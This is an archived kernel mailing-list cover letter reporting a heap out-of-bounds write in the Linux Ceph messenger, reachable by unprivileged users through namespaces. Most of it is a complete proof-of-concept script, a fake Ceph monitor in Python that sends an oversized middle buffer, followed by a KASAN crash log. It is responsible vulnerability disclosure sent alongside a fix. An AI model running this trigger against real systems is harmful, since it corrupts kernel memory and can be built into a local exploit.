All of lore.kernel.org
 help / color / mirror / Atom feed
From: Ren Wei <weir@nebusec.ai>
To: ceph-devel@vger.kernel.org
Cc: idryomov@gmail.com, amarkuze@redhat.com, slava@dubeyko.com,
	sage@newdream.net, vega@nebusec.ai, Ycsuun@gmail.com,
	weir@nebusec.ai
Subject: [PATCH 0/1] libceph: refresh middle buffers for incoming messages
Date: Fri,  2 Oct 2026 15:09:15 +0800	[thread overview]
Message-ID: <cover.1790813978.git.Ycsuun@gmail.com> (raw)

From: Yucan Sun <Ycsuun@gmail.com>


Hi Linux kernel maintainers,

We found and validated an issue in net/ceph/messenger.c. The bug is
reachable by a non-root user via user and net namespace.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11263

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

When allocating an incoming message, the alloc_msg callback may return a
reused ceph_msg whose middle buffer was sized for an earlier message. The
messenger previously allocated a middle buffer only when msg->middle was
NULL; it did not check whether the existing buffer was large enough for the
current message's middle_len. If the new message requires a larger middle
section, the receive path can write that data past the end of the
undersized buffer, causing a heap out- of-bounds write. The fix checks the
buffer capacity and replaces it when it is too small.

Reproducer:

    unshare -Urn sh poc.sh

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu
WORKDIR=/tmp/ceph-auth-reuse-poc
MNT=/mnt/cephtest
mkdir -p "$WORKDIR" "$MNT"
sysctl -w kernel.panic_on_warn=0
cat >"$WORKDIR/mon.py" <<'PY'
import os
import socket
import struct
import time
AF_INET = 2
CEPH_BANNER = b"ceph v027"
TAG_READY = 1
TAG_MSG = 7
TAG_ACK = 8
TAG_KEEPALIVE = 9
TAG_KEEPALIVE2 = 14
TYPE_MON = 1
MSG_AUTH = 17
MSG_AUTH_REPLY = 18
CEPH_AUTH_NONE = 1
FEATURE_MSG_AUTH = 1 << 23
POLY = 0x82F63B78
TABLE = []
for i in range(256):
    crc = i
    for _ in range(8):
        crc = (crc >> 1) ^ POLY if crc & 1 else crc >> 1
    TABLE.append(crc)
def crc32c(data: bytes, crc: int = 0) -> int:
    for b in data:
        crc = TABLE[(crc ^ b) & 0xFF] ^ (crc >> 8)
    return crc
def recvn(sock: socket.socket, size: int) -> bytes:
    buf = b""
    while len(buf) < size:
        chunk = sock.recv(size - len(buf))
        if not chunk:
            raise EOFError(f"short read: wanted {size}, got {len(buf)}")
        buf += chunk
    return buf
def pack_sockaddr(ip: str, port: int) -> bytes:
    head = struct.pack("!HH4s8s", AF_INET, port, socket.inet_aton(ip), b"\x00" * 8)
    return head + b"\x00" * (128 - len(head))
def banner_addr(ip: str, port: int, nonce: int = 0) -> bytes:
    return struct.pack("<II", 0, nonce) + pack_sockaddr(ip, port)
def parse_banner_addr(data: bytes) -> tuple[str, int, int]:
    nonce = struct.unpack_from("<I", data, 4)[0]
    family, port = struct.unpack_from("!HH", data, 8)
    if family == AF_INET:
        ip = socket.inet_ntoa(data[12:16])
    else:
        ip = f"family-{family}"
    return ip, port, nonce
def recv_connect(sock: socket.socket) -> dict[str, int]:
    data = recvn(sock, 33)
    vals = struct.unpack("<QIIIIIIB", data)
    return {
        "features": vals[0],
        "host_type": vals[1],
        "global_seq": vals[2],
        "connect_seq": vals[3],
        "protocol_version": vals[4],
        "authorizer_protocol": vals[5],
        "authorizer_len": vals[6],
        "flags": vals[7],
    }
def pack_connect_reply(features: int, connect_seq: int) -> bytes:
    return struct.pack("<BQIIIIB", TAG_READY, features, 1, connect_seq, 15, 0, 0)
def pack_msg_header(seq: int, tid: int, msg_type: int, front_len: int,
                    middle_len: int, data_len: int, src_type: int = TYPE_MON,
                    src_num: int = 0, priority: int = 127, version: int = 0,
                    data_off: int = 0, compat: int = 0, reserved: int = 0) -> bytes:
    prefix = struct.pack(
        "<QQHHHIIIHBQHH",
        seq,
        tid,
        msg_type,
        priority,
        version,
        front_len,
        middle_len,
        data_len,
        data_off,
        src_type,
        src_num,
        compat,
        reserved,
    )
    return prefix + struct.pack("<I", crc32c(prefix))
def pack_footer(features: int, front: bytes, middle: bytes, data: bytes = b"") -> bytes:
    if features & FEATURE_MSG_AUTH:
        return struct.pack("<IIIQB", crc32c(front), crc32c(middle), crc32c(data), 0, 1)
    return struct.pack("<IIIB", crc32c(front), crc32c(middle), crc32c(data), 1)
def send_msg(sock: socket.socket, features: int, seq: int, tid: int, msg_type: int,
             front: bytes, middle: bytes = b"", data: bytes = b"") -> None:
    header = pack_msg_header(seq, tid, msg_type, len(front), len(middle), len(data))
    footer = pack_footer(features, front, middle, data)
    sock.sendall(bytes([TAG_MSG]) + header + front + middle + data + footer)
def recv_one_msg(sock: socket.socket) -> tuple[dict[str, int], bytes]:
    header = recvn(sock, 53)
    vals = struct.unpack("<QQHHHIIIHBQHHI", header)
    info = {
        "seq": vals[0],
        "tid": vals[1],
        "type": vals[2],
        "priority": vals[3],
        "version": vals[4],
        "front_len": vals[5],
        "middle_len": vals[6],
        "data_len": vals[7],
        "data_off": vals[8],
        "src_type": vals[9],
        "src_num": vals[10],
        "compat": vals[11],
        "reserved": vals[12],
        "crc": vals[13],
    }
    front = recvn(sock, info["front_len"])
    if info["middle_len"]:
        recvn(sock, info["middle_len"])
    if info["data_len"]:
        recvn(sock, info["data_len"])
    recvn(sock, 13)
    return info, front
def recv_until_auth(sock: socket.socket) -> tuple[dict[str, int], bytes]:
    while True:
        tag = recvn(sock, 1)[0]
        print(f"tag={tag}", flush=True)
        if tag == TAG_KEEPALIVE:
            continue
        if tag == TAG_KEEPALIVE2:
            recvn(sock, 8)
            continue
        if tag == TAG_ACK:
            ack = struct.unpack("<Q", recvn(sock, 8))[0]
            print(f"ack={ack}", flush=True)
            continue
        if tag != TAG_MSG:
            raise RuntimeError(f"unexpected tag {tag}")
        info, front = recv_one_msg(sock)
        print(f"msg type={info['type']} seq={info['seq']} tid={info['tid']} front={info['front_len']} middle={info['middle_len']} data={info['data_len']}", flush=True)
        if info["type"] == MSG_AUTH:
            return info, front
def auth_reply_front(global_id: int = 0x1234) -> bytes:
    return (
        struct.pack("<I", CEPH_AUTH_NONE) +
        struct.pack("<i", 0) +
        struct.pack("<Q", global_id) +
        struct.pack("<I", 0) +
        struct.pack("<I", 0)
    )
lsock = socket.socket()
lsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
lsock.bind(("127.0.0.1", 6789))
lsock.listen(8)
print("listening on 127.0.0.1:6789", flush=True)
for idx, middle_len in enumerate((8, 4096), start=1):
    csock, addr = lsock.accept()
    print(f"accepted #{idx} from {addr[0]}:{addr[1]}", flush=True)
    try:
        banner = recvn(csock, len(CEPH_BANNER))
        actual = recvn(csock, 136)
        print(f"client banner={banner!r} actual={parse_banner_addr(actual)}", flush=True)
        csock.sendall(
            CEPH_BANNER +
            banner_addr("127.0.0.1", 6789, 0) +
            banner_addr(addr[0], addr[1], 0)
        )
        conn = recv_connect(csock)
        print(f"connect={conn}", flush=True)
        if conn["authorizer_len"]:
            recvn(csock, conn["authorizer_len"])
        csock.sendall(pack_connect_reply(conn["features"], conn["connect_seq"] + 1))
        info, front = recv_until_auth(csock)
        print(f"auth front={front.hex()}", flush=True)
        middle = b"A" * middle_len
        send_msg(csock, conn["features"], 1, info["tid"], MSG_AUTH_REPLY, auth_reply_front(), middle)
        print(f"sent auth reply #{idx} middle_len={middle_len}", flush=True)
        time.sleep(1 if idx == 1 else 30)
    finally:
        csock.close()
lsock.close()
print("server finished", flush=True)
PY
python3 -u "$WORKDIR/mon.py" >"$WORKDIR/server.log" 2>&1 &
server_pid=$!
trap 'kill "$server_pid" 2>/dev/null || true; umount "$MNT" 2>/dev/null || true' EXIT
sleep 1
mount -i -t ceph 127.0.0.1:6789:/ "$MNT" -o name=guest,ms_mode=legacy,mount_timeout=60

------END poc.sh--------

----BEGIN crash log----

[  243.149071] [    T803] BUG: KASAN: slab-out-of-bounds in _copy_to_iter+0x782/0x11f0
[  243.149169] [    T803] Write of size 4096 at addr ffff88810a3abd88 by task kworker/3:2/803
[  243.149217] [    T803] CPU: 3 UID: 0 PID: 803 Comm: kworker/3:2 Not tainted 6.12.95 #2
[  243.149261] [    T803] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  243.149267] [    T803] Workqueue: ceph-msgr ceph_con_workfn
[  243.149343] [    T803] Call Trace:
[  243.149365] [    T803]  <TASK>
[  243.149380] [    T803]  dump_stack_lvl+0x78/0xe0
[  243.149419] [    T803]  print_report+0xc6/0x620
[  243.149461] [    T803]  ? _copy_to_iter+0x782/0x11f0
[  243.149471] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.149496] [    T803]  ? __virt_addr_valid+0x1f3/0x3d0
[  243.149536] [    T803]  ? _copy_to_iter+0x782/0x11f0
[  243.149546] [    T803]  kasan_report+0xd8/0x110
[  243.149562] [    T803]  ? _copy_to_iter+0x782/0x11f0
[  243.149583] [    T803]  kasan_check_range+0xf4/0x1a0
[  243.149606] [    T803]  __asan_memcpy+0x3c/0x60
[  243.149622] [    T803]  _copy_to_iter+0x782/0x11f0
[  243.149640] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.149649] [    T803]  ? lock_acquire+0x2f/0xb0
[  243.149708] [    T803]  ? __virt_addr_valid+0x117/0x3d0
[  243.149717] [    T803]  ? __pfx__copy_to_iter+0x10/0x10
[  243.149731] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.149740] [    T803]  ? __virt_addr_valid+0x1f3/0x3d0
[  243.149753] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.149761] [    T803]  ? __check_object_size+0x2eb/0x4f0
[  243.149787] [    T803]  ? __lock_acquire+0x1249/0x3c40
[  243.149806] [    T803]  __skb_datagram_iter+0x402/0x7c0
[  243.149850] [    T803]  ? __pfx_simple_copy_to_iter+0x10/0x10
[  243.149867] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.149874] [    T803]  ? rcu_is_watching+0x12/0xc0
[  243.149913] [    T803]  skb_copy_datagram_iter+0x3d/0x50
[  243.149930] [    T803]  tcp_recvmsg_locked+0x1536/0x2220
[  243.149995] [    T803]  ? __pfx_tcp_recvmsg_locked+0x10/0x10
[  243.150009] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150018] [    T803]  ? tcp_recvmsg+0xe4/0x540
[  243.150030] [    T803]  ? __local_bh_enable_ip+0xa7/0x120
[  243.150068] [    T803]  tcp_recvmsg+0xfd/0x540
[  243.150077] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150087] [    T803]  ? __pfx_tcp_recvmsg+0x10/0x10
[  243.150097] [    T803]  ? __pfx___might_resched+0x10/0x10
[  243.150132] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150139] [    T803]  ? aa_sk_perm+0x1d8/0x8d0
[  243.150179] [    T803]  inet_recvmsg+0x109/0x510
[  243.150199] [    T803]  ? __pfx_crc32c+0x10/0x10
[  243.150223] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150232] [    T803]  ? __pfx_inet_recvmsg+0x10/0x10
[  243.150253] [    T803]  ? __pfx_inet_recvmsg+0x10/0x10
[  243.150262] [    T803]  sock_recvmsg+0x148/0x190
[  243.150282] [    T803]  ceph_tcp_recvmsg+0xd0/0x120
[  243.150310] [    T803]  ? __pfx_ceph_tcp_recvmsg+0x10/0x10
[  243.150343] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150366] [    T803]  ? ceph_msg_get+0x24/0xf0
[  243.150381] [    T803]  read_partial_message_chunk+0xa9/0x240
[  243.150403] [    T803]  ceph_con_v1_try_read+0x1654/0x6200
[  243.150434] [    T803]  ? ceph_con_workfn+0x48/0xf20
[  243.150446] [    T803]  ? __pfx___mutex_lock+0x10/0x10
[  243.150479] [    T803]  ? __pfx_ceph_con_v1_try_read+0x10/0x10
[  243.150497] [    T803]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  243.150507] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150513] [    T803]  ? rcu_is_watching+0x12/0xc0
[  243.150533] [    T803]  ceph_con_workfn+0x791/0xf20
[  243.150552] [    T803]  process_one_work+0x855/0x1ac0
[  243.150588] [    T803]  ? __pfx_lock_acquire.part.0+0x10/0x10
[  243.150599] [    T803]  ? __pfx_process_one_work+0x10/0x10
[  243.150623] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150638] [    T803]  worker_thread+0x4f4/0xd60
[  243.150652] [    T803]  ? lockdep_hardirqs_on+0x7b/0x110
[  243.150683] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150692] [    T803]  ? srso_alias_return_thunk+0x5/0xfbef5
[  243.150698] [    T803]  ? __kthread_parkme+0xb0/0x1d0
[  243.150715] [    T803]  ? __pfx_worker_thread+0x10/0x10
[  243.150729] [    T803]  ? __pfx_worker_thread+0x10/0x10
[  243.150738] [    T803]  kthread+0x27e/0x350
[  243.150744] [    T803]  ? _raw_spin_unlock_irq+0x28/0x50
[  243.150754] [    T803]  ? __pfx_kthread+0x10/0x10
[  243.150764] [    T803]  ret_from_fork+0x31/0x70
[  243.150791] [    T803]  ? __pfx_kthread+0x10/0x10
[  243.150800] [    T803]  ret_from_fork_asm+0x1a/0x30
[  243.150845] [    T803]  </TASK>
[  243.151013] [    T803] Allocated by task 9:
[  243.151029] [    T803]  kasan_save_stack+0x33/0x60
[  243.151044] [    T803]  kasan_save_track+0x14/0x30
[  243.151057] [    T803]  __kasan_kmalloc+0xaa/0xb0
[  243.151069] [    T803]  __kmalloc_node_noprof+0x1f1/0x430
[  243.151092] [    T803]  ceph_buffer_new+0x89/0x1f0
[  243.151106] [    T803]  ceph_con_in_msg_alloc+0x340/0x510
[  243.151119] [    T803]  ceph_con_v1_try_read+0x1c1a/0x6200
[  243.151132] [    T803]  ceph_con_workfn+0x791/0xf20
[  243.151144] [    T803]  process_one_work+0x855/0x1ac0
[  243.151157] [    T803]  worker_thread+0x4f4/0xd60
[  243.151169] [    T803]  kthread+0x27e/0x350
[  243.151180] [    T803]  ret_from_fork+0x31/0x70
[  243.151191] [    T803]  ret_from_fork_asm+0x1a/0x30
[  243.151226] [    T803] The buggy address belongs to the object at ffff88810a3abd88
                           which belongs to the cache kmalloc-8 of size 8
[  243.151243] [    T803] The buggy address is located 0 bytes inside of
                           allocated 8-byte region [ffff88810a3abd88, ffff88810a3abd90)
[  243.151276] [    T803] The buggy address belongs to the physical page:
[  243.151291] [    T803] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88810a3ab1b8 pfn:0x10a3ab
[  243.151310] [    T803] flags: 0x17ff00000000200(workingset|node=0|zone=2|lastcpupid=0x7ff)
[  243.151336] [    T803] page_type: f5(slab)
[  243.151355] [    T803] raw: 017ff00000000200 ffff888100042640 ffffea000428ce50 ffff888100040588
[  243.151368] [    T803] raw: ffff88810a3ab1b8 00000000001c001b 00000001f5000000 0000000000000000
[  243.151377] [    T803] page dumped because: kasan: bad access detected
[  243.151407] [    T803] page_owner tracks the page as allocated
[  243.152304] [    T803] page last allocated via order 0, migratetype Unmovable, gfp_mask 0x52c00(GFP_NOIO|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP), pid 1, tgid 1 (swapper/0), ts 16030482059, free_ts 16002421946
[  243.154722] [    T803]  post_alloc_hook+0x181/0x1b0
[  243.154751] [    T803]  get_page_from_freelist+0x7b0/0x3b60
[  243.154764] [    T803]  __alloc_pages_noprof+0x224/0x26d0
[  243.154777] [    T803]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[  243.154801] [    T803]  new_slab+0x2e5/0x420
[  243.154814] [    T803]  ___slab_alloc+0xe60/0x19e0
[  243.154827] [    T803]  __slab_alloc.isra.0+0x5b/0xb0
[  243.154843] [    T803]  __kmalloc_cache_noprof+0x2a0/0x2f0
[  243.154859] [    T803]  usb_control_msg+0xb7/0x470
[  243.154904] [    T803]  hub_suspend+0x73c/0xa70
[  243.154926] [    T803]  usb_suspend_both+0x246/0x890
[  243.154943] [    T803]  usb_runtime_suspend+0x36/0xd0
[  243.154956] [    T803]  __rpm_callback+0xa9/0x390
[  243.155002] [    T803]  rpm_callback+0x12c/0x170
[  243.155016] [    T803]  rpm_suspend+0x231/0xe00
[  243.155027] [    T803]  __pm_runtime_suspend+0x6a/0xd0
[  243.155045] [    T803] page last free pid 1 tgid 1 stack trace:
[  243.155820] [    T803]  free_unref_page+0x6a3/0x1050
[  243.155835] [    T803]  qlist_free_all+0x54/0x120
[  243.155848] [    T803]  kasan_quarantine_reduce+0x192/0x1e0
[  243.155860] [    T803]  __kasan_slab_alloc+0x69/0x90
[  243.155873] [    T803]  __kmalloc_cache_noprof+0x10b/0x2f0
[  243.155885] [    T803]  usb_hub_create_port_device+0x74/0xe00
[  243.155907] [    T803]  hub_probe+0x1c38/0x3030
[  243.155919] [    T803]  usb_probe_interface+0x281/0x880
[  243.155931] [    T803]  really_probe+0x1ca/0x920
[  243.155956] [    T803]  __driver_probe_device+0x316/0x440
[  243.155968] [    T803]  driver_probe_device+0x4a/0x120
[  243.155980] [    T803]  __device_attach_driver+0x162/0x270
[  243.155992] [    T803]  bus_for_each_drv+0x115/0x1a0
[  243.156011] [    T803]  __device_attach+0x199/0x3b0
[  243.156023] [    T803]  bus_probe_device+0x133/0x180
[  243.156037] [    T803]  device_add+0xe5e/0x1680
[  243.156059] [    T803] Memory state around the buggy address:
[  243.156069] [    T803]  ffff88810a3abc80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc 00
[  243.156080] [    T803]  ffff88810a3abd00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  243.156108] [    T803] >ffff88810a3abd80: fc 00 fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  243.156117] [    T803]                          ^
[  243.156127] [    T803]  ffff88810a3abe00: fc fc fc 02 fc fc fc fc fc fc fc fc fc fc fc fc
[  243.156138] [    T803]  ffff88810a3abe80: fc fc fc fc fc 07 fc fc fc fc fc fc fc fc fc fc

-----END crash log-----

Best regards,
<Yucan Sun>


Yucan Sun (1):
  libceph: refresh middle buffers for incoming messages

 net/ceph/messenger.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

-- 
2.53.0


             reply	other threads:[~2026-10-02  7:09 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-02  7:09 Ren Wei [this message]
2026-10-02  7:09 ` [PATCH 1/1] libceph: refresh middle buffers for incoming messages Ren Wei
2026-10-06  7:38   ` [1/1] " Alex Markuze

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1790813978.git.Ycsuun@gmail.com \
    --to=weir@nebusec.ai \
    --cc=Ycsuun@gmail.com \
    --cc=amarkuze@redhat.com \
    --cc=ceph-devel@vger.kernel.org \
    --cc=idryomov@gmail.com \
    --cc=sage@newdream.net \
    --cc=slava@dubeyko.com \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.